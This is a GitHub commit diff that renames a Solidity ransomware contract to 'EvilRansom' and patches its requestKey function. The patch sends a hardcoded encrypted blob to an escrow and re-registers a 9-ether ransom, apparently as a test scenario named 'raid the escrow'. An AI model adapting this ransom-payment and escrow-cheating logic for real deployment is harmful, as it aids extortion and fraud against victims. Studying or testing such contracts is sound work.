Skip to content
Permalink
Browse files

Patch the Ransom contract

  • Loading branch information...
vladistan committed Jan 12, 2019
1 parent 7d164ed commit de423199d0b2ef966520e8d16279ce720ac02e89
Showing with 7 additions and 3 deletions.
  1. +6 −2 contracts/EvilRansom.sol
  2. +1 −1 test/T7raidtheescrow.js
@@ -4,7 +4,7 @@ import "./Escrow.sol";
import "./Registry.sol";

///@title Ransom contract
contract ZeroRansom {
contract EvilRansom {
/**
* @dev This is the Ransom contract that is deployed for each victim. It holds an encrypted
* version of the key needed to decrypt the files on the victim machine. The only way to obtain a
@@ -106,7 +106,11 @@ contract ZeroRansom {
* the victim assurances that they will be given a valid key.
*/
function requestKey() external onlyAuthenticated restrictSenderToEscrow {
Escrow(escrowAddr).decryptKey(victimId, encKey);
Escrow(escrowAddr).decryptKey(victimId,
"sriqAvS4XvQ3hAzErWKyBlSUrUsqeCj3XZb/gd11PzCzu9lXaol2LfGCWO/4Zw7EkOWaeFJ9weTwF9qgIMdjUs+vmzyLeUQeLhKtfOEdF7P7Y8vZZSmxpR0c8pOvYKiImEQw9/K4fbfq5dvS1VwjupVQFTXuL19mDA1vfP3xx4idrufiTHB+80//Gmca+QHyN7J1KYOx99N6bbYlPSPgHl90obrt5RX3zrFun1USTyQvQs538dr9JZrEq5l/4WPTl1KlbfzYKWk+Fc8S7zr7/mi2eWoAD0KoLg2ESELxoWW5uigAYQhn5K/havkesMC2ONczRFpyQYonxEMow6OIfQ=="
);
Escrow(escrowAddr).registerRansom(9 ether, victimId, victimAddr);

}

/**
@@ -1,5 +1,5 @@

let Ransom = artifacts.require("./ZeroRansom.sol");
let Ransom = artifacts.require("./EvilRansom.sol");
let Escrow = artifacts.require("./Escrow.sol");
let Registry = artifacts.require("./Registry.sol");

0 comments on commit de42319

Please sign in to comment.
You can’t perform that action at this time.